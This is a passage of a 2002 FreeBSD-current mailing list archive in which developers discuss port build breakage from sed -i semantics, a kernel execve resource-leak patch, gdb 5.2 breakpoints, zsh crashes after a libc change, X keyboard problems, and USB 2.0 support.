Received: from gatesrv.RZ.UniBw-Muenchen.de (gatesrv.RZ.UniBW-Muenchen.de [137.193.11.27])
	by hub.freebsd.org (Postfix) with ESMTP
	id 2617637B406; Sun, 16 Jun 2002 06:00:40 -0700 (PDT)
Received: from nemesis.informatik.unibw-muenchen.de (nemesis.Informatik.UniBw-Muenchen.de [137.193.60.30])
	by gatesrv.RZ.UniBw-Muenchen.de (8.11.2/8.11.2) with ESMTP id g5GCUUg19490;
	Sun, 16 Jun 2002 14:30:30 +0200 (MEST)
Received: from localhost (localhost.informatik.unibw-muenchen.de [127.0.0.1])
	by nemesis.informatik.unibw-muenchen.de (Postfix) with ESMTP
	id 3A9B95A548; Sun, 16 Jun 2002 14:30:30 +0200 (CEST)
Received: by nemesis.informatik.unibw-muenchen.de (Postfix, from userid 1001)
	id 6E1AD5A546; Sun, 16 Jun 2002 14:30:29 +0200 (CEST)
Date: Sun, 16 Jun 2002 14:30:29 +0200
From: Oliver Braun <obraun@informatik.unibw-muenchen.de>
To: Kris Kennaway <kris@obsecurity.org>
Cc: ijliao@freebsd.org, ports@freebsd.org, current@freebsd.org
Subject: Re: rsync 5.x breakage
Message-ID: <20020616123029.GA12998@informatik.unibw-muenchen.de>
Mail-Followup-To: Oliver Braun <obraun@informatik.unibw-muenchen.de>,
	Kris Kennaway <kris@obsecurity.org>, ijliao@FreeBSD.org,
	ports@freebsd.org, current@freebsd.org
References: <20020616040000.A16402@xor.obsecurity.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020616040000.A16402@xor.obsecurity.org>
User-Agent: Mutt/1.4i
Organization: University of the Federal Armed Forces Munich, Germany
X-Mailer: Mutt http://www.mutt.org/
X-OS: FreeBSD 4.6-PRERELEASE i386 http://www.freebsd.org/
X-Newsreader: SLRN http://www.slrn.org/
X-Uptime: 45 days
X-URL: http://ist.unibw-muenchen.de/People/obraun
X-Accept-Language: de en
X-Location: Europe, Germany, Munich
X-Editor: Vim-601 http://www.vim.org/
X-Virus-Scanned: by AMaViS snapshot-20020300
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

[CC ports@ and current@]

* Kris Kennaway <kris@obsecurity.org> [2002-06-16 13:02]:
> Looks like the ${REINPLACE_CMD} patch didn't work:

> http://bento.freebsd.org/errorlogs/5-latest/rsync-2.5.5_1.log

Fixed in PR ports/39365.

But I am not very happy with that fix.

The problem is that sed(1) on -current fails with "sed -i.bak file", if
file.bak already exists, but perl does not. Since net/rsync/Makefile
uses 3 ${REINPLACE_CMD}s on one file (rsync.h), I have removed the
backup file with ${RM} file.bak between the calls.

==> ${REINPLACE_CMD} has different semantics on -current and -stable

Maintainer only using -stable won't be able to get that error and fix it
_before_ submitting.

The extension bak has to be hardcoded in the Makefile. This is not very
sexy, and after a change of ${REINPLACE_CMD} to something like sed
-i.orig this will fail again.

So, what about changing sed(1) on -current to unify semantics of
${REINPLACE_CMD}?

Regards,
         Olli
-- 
IST & IIS _ INF _ UniBwM ___________ http://ist.unibw-muenchen.de/People/obraun/
Tele-Consulting GmbH _______________ http://www.tele-consulting.com/ ___ obraun@
FreeBSD: The Power To Serve ________ http://www.freebsd.org/ ___________________
GnuPG: 0xEF25B1BA Fingerprint: 6A3B 042A 732E 17E4 B6E7 3EAF C0B1 6B7D EF25 B1BA

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  7: 4:38 2002
Delivered-To: freebsd-current@freebsd.org
Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42])
	by hub.freebsd.org (Postfix) with ESMTP
	id DA72237B422; Sun, 16 Jun 2002 07:04:32 -0700 (PDT)
Received: from pobrecita.freebsd.ru (ache@localhost [127.0.0.1])
	by nagual.pp.ru (8.12.4/8.12.3) with ESMTP id g5GE4Gd0026445;
	Sun, 16 Jun 2002 18:04:21 +0400 (MSD)
	(envelope-from ache@pobrecita.freebsd.ru)
Received: (from ache@localhost)
	by pobrecita.freebsd.ru (8.12.4/8.12.3/Submit) id g5GE4D5o026444;
	Sun, 16 Jun 2002 18:04:13 +0400 (MSD)
	(envelope-from ache)
Date: Sun, 16 Jun 2002 18:04:11 +0400
From: "Andrey A. Chernov" <ache@nagual.pp.ru>
To: Michael Nottebrock <michaelnottebrock@gmx.net>
Cc: Wesley Morgan <morganw@chemikals.org>, current@FreeBSD.ORG,
	ports@FreeBSD.ORG, kde-freebsd@FreeBSD.ORG
Subject: Re: C++ problems
Message-ID: <20020616140411.GA26239@nagual.pp.ru>
References: <20020612003134.H69960-100000@volatile.chemikals.org> <3D0C22CC.8070409@gmx.net>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="huq684BweRXVnRxX"
Content-Disposition: inline
In-Reply-To: <3D0C22CC.8070409@gmx.net>
User-Agent: Mutt/1.3.28i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--huq684BweRXVnRxX
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, Jun 16, 2002 at 07:31:56 +0200, Michael Nottebrock wrote:
>=20
> I just hit the same problem while trying to compile KDE stuff. In my=20
> case it stems from bsd.kde.mk adding -I/usr/include to CPPFLAGS, causing=
=20
> gcc to change its include search order. Lacking further insight, I don't=
=20
> know the proper fix there, but I got around it by simply removing=20
> -I/usr/include from bsd.kde.mk.

BTW, adding -I/usr/inlude produce verbose warning in new GCC, and GNU
configure usually treat it as error.

--=20
Andrey A. Chernov
http://ache.pp.ru/

--huq684BweRXVnRxX
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iQCVAwUBPQya2+JgpPLZnQjrAQH93gP8ChIigIThUHnspWdRrOwjvL+GfQWTYdNZ
qpAAZ55rmK6j9Dw7fSJSnxgx8BtFjnGD1bVNCpFJLZanUZBiXxymGAxSKBaS5TS1
Ui290EO/SoSEg9sEJr23SpzTxx+avLJInYJXnuldrrLqffnQwrTGj2YNEd83Llt4
V158ypA6JTY=
=nBq7
-----END PGP SIGNATURE-----

--huq684BweRXVnRxX--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  7:15:11 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240])
	by hub.freebsd.org (Postfix) with ESMTP
	id 0398237B417; Sun, 16 Jun 2002 07:15:06 -0700 (PDT)
Received: from kokeb.ambesa.net ([64.166.84.78])
 by mta6.snfc21.pbi.net (iPlanet Messaging Server 5.1 (built May  7 2001))
 with ESMTP id <0GXS00KIKY9428@mta6.snfc21.pbi.net>; Sun,
 16 Jun 2002 07:15:05 -0700 (PDT)
Received: from kokeb.ambesa.net (tanstaafl@localhost [127.0.0.1])
	by kokeb.ambesa.net (8.12.3/8.12.3) with ESMTP id g5GEKN37018899; Sun,
 16 Jun 2002 07:20:23 -0700 (PDT envelope-from mikem@kokeb.ambesa.net)
Received: (from mikem@localhost)	by kokeb.ambesa.net (8.12.3/8.12.3/Submit)
 id g5GEKIPu018898; Sun, 16 Jun 2002 07:20:18 -0700 (PDT envelope-from mikem)
Date: Sun, 16 Jun 2002 07:20:18 -0700
From: Mike Makonnen <makonnen@pacbell.net>
Subject: Re: Fixing "could sleeep..." was (Re: ../../../vm/uma_core.c:132
In-reply-to: <20020616041023.47491ea3.makonnen@pacbell.net>
To: Mike Makonnen <makonnen@pacbell.net>
Cc: jhb@FreeBSD.ORG, hiten@uk.FreeBSD.org, jrh@lab.it.uc3m.es,
	freebsd-current@FreeBSD.ORG
Message-id: <20020616072018.236732cc.makonnen@pacbell.net>
MIME-version: 1.0
X-Mailer: Sylpheed version 0.7.0 (GTK+ 1.2.10; i386--freebsd5.0)
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
References: <20020611152747.091c2377.makonnen@pacbell.net>
 <XFMail.20020611183332.jhb@FreeBSD.org>
 <20020616041023.47491ea3.makonnen@pacbell.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Sun, 16 Jun 2002 04:10:23 -0700
Mike Makonnen <makonnen@pacbell.net> wrote:
> 
> I don't know if you recieved my earlier email about a bug that I found in
> execve() while working on fixing the "malloc w/ process lock held" bugs.
> Here's a simpler patch.
> 
> It fixes possible resource leaks and failure to unlock a lock, introduced
> by nectar@ in rev. 1.162 of kern/kern_exec.c, in the case where the call
> to fdcheckstd() fails. Basically it fails to deallocate resources and unlock the
> process lock.

<embarrased grin>
	I didn't catch all instances of allocated resources (newargs).
</embarrased grin>

Index: sys/kern/kern_exec.c
===================================================================
RCS file: /home/ncvs/src/sys/kern/kern_exec.c,v
retrieving revision 1.164
diff -u -r1.164 kern_exec.c
--- sys/kern/kern_exec.c	7 Jun 2002 05:41:27 -0000	1.164
+++ sys/kern/kern_exec.c	16 Jun 2002 14:14:37 -0000
@@ -133,7 +133,7 @@
 	struct image_params image_params, *imgp;
 	struct vattr attr;
 	int (*img_first)(struct image_params *);
-	struct pargs *oldargs, *newargs = NULL;
+	struct pargs *oldargs=NULL, *newargs = NULL;
 	struct procsig *oldprocsig, *newprocsig;
 #ifdef KTRACE
 	struct vnode *tracevp = NULL;
@@ -383,8 +383,10 @@
 #endif
 		/* Make sure file descriptors 0..2 are in use.  */
 		error = fdcheckstd(td);
-		if (error != 0)
-			goto exec_fail_dealloc;
+		if (error != 0) {
+			oldcred = NULL;
+			goto done1;
+		}
 		/*
 		 * Set the new credentials.
 		 */
@@ -467,6 +469,7 @@
 		p->p_args = newargs;
 		newargs = NULL;
 	}
+done1:
 	PROC_UNLOCK(p);
 
 	/*
@@ -476,7 +479,6 @@
 		crfree(oldcred);
 	else
 		crfree(newcred);
-	KASSERT(newargs == NULL, ("leaking p_args"));
 	/*
 	 * Handle deferred decrement of ref counts.
 	 */
@@ -486,7 +488,10 @@
 	if (tracevp != NULL)
 		vrele(tracevp);
 #endif
-	pargs_drop(oldargs);
+	if (oldargs != NULL)
+		pargs_drop(oldargs);
+	if (newargs != NULL)
+		pargs_drop(newargs);
 
 exec_fail_dealloc:
 

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  8:31:15 2002
Delivered-To: freebsd-current@freebsd.org
Received: from sdns.kv.ukrtel.net (sdns.kv.ukrtel.net [195.5.27.246])
	by hub.freebsd.org (Postfix) with ESMTP
	id B89F137B419; Sun, 16 Jun 2002 08:31:07 -0700 (PDT)
Received: from vega.vega.com (195.5.51.243 [195.5.51.243]) by sdns.kv.ukrtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id M7SJ6LGY; Sun, 16 Jun 2002 18:15:28 +0300
Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1])
	by vega.vega.com (8.11.6/8.11.3) with ESMTP id g5GFDJb20003;
	Sun, 16 Jun 2002 18:13:19 +0300 (EEST)
	(envelope-from sobomax@FreeBSD.org)
Message-ID: <3D0CAB48.1C33DFB4@FreeBSD.org>
Date: Sun, 16 Jun 2002 18:14:16 +0300
From: Maxim Sobolev <sobomax@FreeBSD.org>
Organization: Vega International Capital
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,uk,ru
MIME-Version: 1.0
To: obrien@FreeBSD.org
Cc: current@FreeBSD.org
Subject: Problem with gdb 5.2 from ports
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hi,

As you have requested, I installed devel/gdb52 port on my -current
system and gave it a try. It works most of the time, but I've noticed
that breakpoint set to a finction in a shared library doesn't work, at
least for libraries which have no debugging info compiled in (I have
not tested it with ibraries with debugging info yet). This can be
easily verified by seting up break point to some function in libc and
then executing binary which calls this function in debugger. It worked
just fine in old gdb.

-Maxim

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  9:23:44 2002
Delivered-To: freebsd-current@freebsd.org
Received: from hfep04.dion.ne.jp (hfep04.dion.ne.jp [203.181.105.70])
	by hub.freebsd.org (Postfix) with ESMTP
	id 6A83537B42C; Sun, 16 Jun 2002 09:23:40 -0700 (PDT)
Received: from localhost ([211.5.18.12]) by hfep04.dion.ne.jp with ESMTP
          id <20020616162338718.LUWP@hfep04.dion.ne.jp>;
          Mon, 17 Jun 2002 01:23:38 +0900
To: rwatson@FreeBSD.ORG
Cc: haro@tt.kubota.co.jp, current@FreeBSD.ORG
Subject: Re: Zsh dumps core after cap_get_proc() removal
In-Reply-To: <Pine.NEB.3.96L.1020616023847.96439G-100000@fledge.watson.org>
References: <20020616124652V.haro@h4.dion.ne.jp>
	<Pine.NEB.3.96L.1020616023847.96439G-100000@fledge.watson.org>
X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20020617012043M.haro@h4.dion.ne.jp>
Date: Mon, 17 Jun 2002 01:20:43 +0900
From: Munehiro Matsuda <haro@h4.dion.ne.jp>
X-Dispatcher: imput version 20000228(IM140)
Lines: 44
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hello Robert Watson,

From: Robert Watson <rwatson@FreeBSD.ORG>
Date: Sun, 16 Jun 2002 02:44:18 -0400 (EDT)
::> After removal of cap_get_proc() and friends from libc, zsh from the ports
::> started to dump core:
::> 
::> <snip>
::> #0  0x28172333 in __sys___cap_get_proc () from /usr/lib/libc.so.5
::> (gdb) where
::> #0  0x28172333 in __sys___cap_get_proc () from /usr/lib/libc.so.5
::> #1  0x2816003e in cap_get_proc () from /usr/lib/libc.so.5
::> #2  0x280ca331 in privasserted () from /usr/local/lib/zsh/libzsh-4.0.4.so
::> #3  0x28080099 in evalcond () from /usr/local/lib/zsh/libzsh-4.0.4.so
::> #4  0x2807e5d7 in bin_test () from /usr/local/lib/zsh/libzsh-4.0.4.so
::> <snip> 
::> I had to manually disable HAVE_CAP_GET_PROC in config.h for zsh.
::> 
::> Can't we have some kind of HEADS-UP or version-bump for this matter. 
::
::__cap_get_proc() has always returned ENOSYS in the base system (indicating
::that it was not implemented), as we never committed the implementation of
::the system call.  It looks like your binary is picking up cap_get_proc() 
::from libc, which suggests your libc isn't in sync with the source tree,
::since libc no longer contains cap_get_proc().  It may be that zsh's
::autoconf picked up on the library calls (now removed), and built in a
::dependency on them.  You might need to rebuild zsh to work around this
::once libc is rebuilt. 

I realized that my world was not in sync, just after I send out my e-mail.
Thank you for feed back, anyway. :-)

I hope my original e-mail would be a small heads-up for the rest of
zsh users, who may get into same kind of trouble. :-P

Thanks,
  Haro
=------------------------------------------------------------------------------
           _ _    Munehiro (haro) Matsuda
 -|- /_\  |_|_|   Business Incubation Dept., Kubota Corp.
 /|\ |_|  |_|_|   1-3 Nihonbashi-Muromachi 3-Chome
                  Chuo-ku Tokyo 103-8310, Japan
                  Tel: +81-3-3245-3318  Fax: +81-3-3245-3315
                  Email: haro@kubota.co.jp

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16  9:57:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from relay.pair.com (relay1.pair.com [209.68.1.20])
	by hub.freebsd.org (Postfix) with SMTP id B956A37B40C
	for <current@FreeBSD.org>; Sun, 16 Jun 2002 09:57:35 -0700 (PDT)
Received: (qmail 91742 invoked from network); 16 Jun 2002 16:57:34 -0000
Received: from 12-236-91-101.client.attbi.com (HELO ?10.1.1.198?) (12.236.91.101)
  by relay1.pair.com with SMTP; 16 Jun 2002 16:57:34 -0000
X-pair-Authenticated: 12.236.91.101
Mime-Version: 1.0
X-Sender:  (Unverified)
Message-Id: <p05111a0ab93272b176be@[10.1.1.198]>
In-Reply-To: <3D0CAB48.1C33DFB4@FreeBSD.org>
References: <3D0CAB48.1C33DFB4@FreeBSD.org>
Date: Sun, 16 Jun 2002 09:57:30 -0700
To: Maxim Sobolev <sobomax@FreeBSD.org>
From: Mark Peek <mp@FreeBSD.org>
Subject: Re: Problem with gdb 5.2 from ports
Cc: current@FreeBSD.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

At 6:14 PM +0300 6/16/02, Maxim Sobolev wrote:
>As you have requested, I installed devel/gdb52 port on my -current
>system and gave it a try. It works most of the time, but I've noticed
>that breakpoint set to a finction in a shared library doesn't work, at
>least for libraries which have no debugging info compiled in (I have
>not tested it with ibraries with debugging info yet). This can be
>easily verified by seting up break point to some function in libc and
>then executing binary which calls this function in debugger. It worked
>just fine in old gdb.

Maxim,
Can you provide a few more details on this problem? It worked for me 
in the test below which was using the stock system libc (ie., no 
debugging info).

Mark

current# cat > shlibtest.c
#include <stdio.h>
main() { fclose(stderr); }
current# cc -g -o shlibtest shlibtest.c
current# gdb52 shlibtest
GNU gdb 5.2 (FreeBSD)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-portbld-freebsd5.0"...
(gdb) b fclose
Breakpoint 1 at 0x80483d4
(gdb) run
Starting program: /tmp/shlibtest
Breakpoint 1 at 0x280e076e

Breakpoint 1, 0x280e076e in fclose () from /usr/lib/libc.so.5
(gdb) where
#0  0x280e076e in fclose () from /usr/lib/libc.so.5
#1  0x0804853e in main () at shlibtest.c:2
#2  0x0804847d in _start ()
(gdb)

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 10: 9: 2 2002
Delivered-To: freebsd-current@freebsd.org
Received: from pheriche.sun.com (pheriche.sun.com [192.18.98.34])
	by hub.freebsd.org (Postfix) with ESMTP id 5BF4937B401
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 10:08:56 -0700 (PDT)
Received: from sunfin.Finland.Sun.COM ([129.159.101.10])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA26340
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 11:08:54 -0600 (MDT)
Received: from ultrahot.Finland.Sun.COM (ultrahot [129.159.101.87])
	by sunfin.Finland.Sun.COM (8.10.2+Sun/8.10.2/ENSMAIL,v2.2) with ESMTP id g5GH8sO27846
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 20:08:54 +0300 (EEST)
Received: from ultrahot.Finland.Sun.COM (localhost [127.0.0.1])
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2) with ESMTP id g5GH8r32019852
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 20:08:53 +0300 (EEST)
Received: (from tomppa@localhost)
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2/Submit) id g5GH8qFM019849;
	Sun, 16 Jun 2002 20:08:52 +0300 (EEST)
From: Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15628.50724.451116.188088@gargle.gargle.HOWL>
Date: Sun, 16 Jun 2002 20:08:52 +0300
To: freebsd-current@freebsd.org
Subject: Still can't use keyboard with X
X-Mailer: VM 7.05 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid
Reply-To: Tomi.Vainio@Sun.COM
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Hi,

I have had this same problem couple months already.  Last time I asked
about this I didn't get any answers.  I'am running latest current
cvsupped during the weekend and XFree86-4.2.0 is also compiled couple
hours ago.  xdm and startx are otherwise just fine but I can't write
anything.  Everything seems to go the login process running on that
same virtual terminal where my X session sits and if I kill that login
my X dies.  Only way to start X is to log in and run XFree86 binary,
then log in from another machine and set DISPLAY=:0.0 and then run
programs.

  Tomppa

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 11:10:55 2002
Delivered-To: freebsd-current@freebsd.org
Received: from zibbi.icomtek.csir.co.za (zibbi.icomtek.csir.co.za [146.64.24.58])
	by hub.freebsd.org (Postfix) with ESMTP
	id D5D7837B403; Sun, 16 Jun 2002 11:10:38 -0700 (PDT)
Received: (from jhay@localhost)
	by zibbi.icomtek.csir.co.za (8.11.6/8.11.6) id g5GIASV35012;
	Sun, 16 Jun 2002 20:10:28 +0200 (SAT)
	(envelope-from jhay)
From: John Hay <jhay@icomtek.csir.co.za>
Message-Id: <200206161810.g5GIASV35012@zibbi.icomtek.csir.co.za>
Subject: could sleep with "inp" locked
To: hsu@freebsd.org
Date: Sun, 16 Jun 2002 20:10:28 +0200 (SAT)
Cc: current@freebsd.org
X-Mailer: ELM [version 2.4ME+ PL54 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

After the recent locking working in netinet, I get this message everytime
I login to the -current machine using ssh over ipv6. I don't see it if I
use ipv4.

../../../vm/uma_core.c:1327: could sleep with "inp" locked from ../../../netinet/tcp_usrreq.c:536

PS. That don't mean there are not hundreds of other "could sleep" messages.
There are, but the inp one is new.

John
-- 
John Hay -- John.Hay@icomtek.csir.co.za / jhay@FreeBSD.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 11:17:43 2002
Delivered-To: freebsd-current@freebsd.org
Received: from tao.org.uk (genius.tao.org.uk [212.135.162.51])
	by hub.freebsd.org (Postfix) with ESMTP id 0103037B414
	for <freebsd-current@freebsd.org>; Sun, 16 Jun 2002 11:17:32 -0700 (PDT)
Received: by tao.org.uk (Postfix, from userid 100)
	id 789522FB; Sun, 16 Jun 2002 19:17:21 +0100 (BST)
Date: Sun, 16 Jun 2002 19:17:21 +0100
From: Josef Karthauser <joe@tao.org.uk>
To: "Wilkinson,Alex" <Alex.Wilkinson@dsto.defence.gov.au>
Cc: Daniel O'Connor <doconnor@gsoft.com.au>,
	Jordan Breeding <jordan.breeding@attbi.com>,
	freebsd-current@freebsd.org
Subject: Re: Support for USB devices out-of-the-box in -current?
Message-ID: <20020616181721.GB90174@genius.tao.org.uk>
References: <1023942655.2959.18.camel@chowder.gsoft.com.au> <20020613140635.F4720-100000@squirm.dsto.defence.gov.au>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="hQiwHBbRI9kgIhsi"
Content-Disposition: inline
In-Reply-To: <20020613140635.F4720-100000@squirm.dsto.defence.gov.au>
User-Agent: Mutt/1.3.99i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--hQiwHBbRI9kgIhsi
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, Jun 13, 2002 at 02:07:37PM +0930, Wilkinson,Alex wrote:
>=20
> Does -CURRENT support USD 2.0 yet ?
>=20

No, all of the headers and support is in place for it already, but
someone needs to port the ehci controller code from NetBSD.

Joe

--hQiwHBbRI9kgIhsi
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iEYEARECAAYFAj0M1jAACgkQXVIcjOaxUBbcrQCgh6E1HfW41PlZxWp3hXCdSFoI
DBUAn0vV4fT4i+9xxm6NTv1fttLo5/+w
=j66c
-----END PGP SIGNATURE-----

--hQiwHBbRI9kgIhsi--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Jun 16 11:18:41 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail-relay1.yahoo.com (mail-relay1.yahoo.com [216.145.48.34])
	by hub.freebsd.org (Postfix) with ESMTP
	id 7941937B420; Sun, 16 Jun 2002 11:18:34 -0700 (PDT)
Received: from FreeBSD.org (12-234-90-219.client.attbi.com [12.234.90.219])
	by mail-relay1.yahoo.com (Postfix) with ESMTP
	id 0FEBE8B5A5; Sun, 16 Jun 2002 11:18:34 -0700 (PDT)
Message-ID: <3D0CD679.564603D@FreeBSD.org>
Date: Sun, 16 Jun 2002 11:18:33 -0700
From: Doug Barton <DougB@FreeBSD.org>
Organization: Triborough Bridge & Tunnel Authority
X-Mailer: Mozilla 4.79 [en] (X11; U; FreeBSD 4.5-RELEASE i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Oliver Braun <obraun@informatik.unibw-muenchen.de>
Cc: Kris Kennaway <kris@obsecurity.org>, ijliao@FreeBSD.ORG,
	ports@FreeBSD.ORG, current@FreeBSD.ORG
Subject: Re: rsync 5.x breakage
References: <20020616040000.A16402@xor.obsecurity.org> <20020616123029.GA12998@informatik.unibw-muenchen.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Oliver Braun wrote:

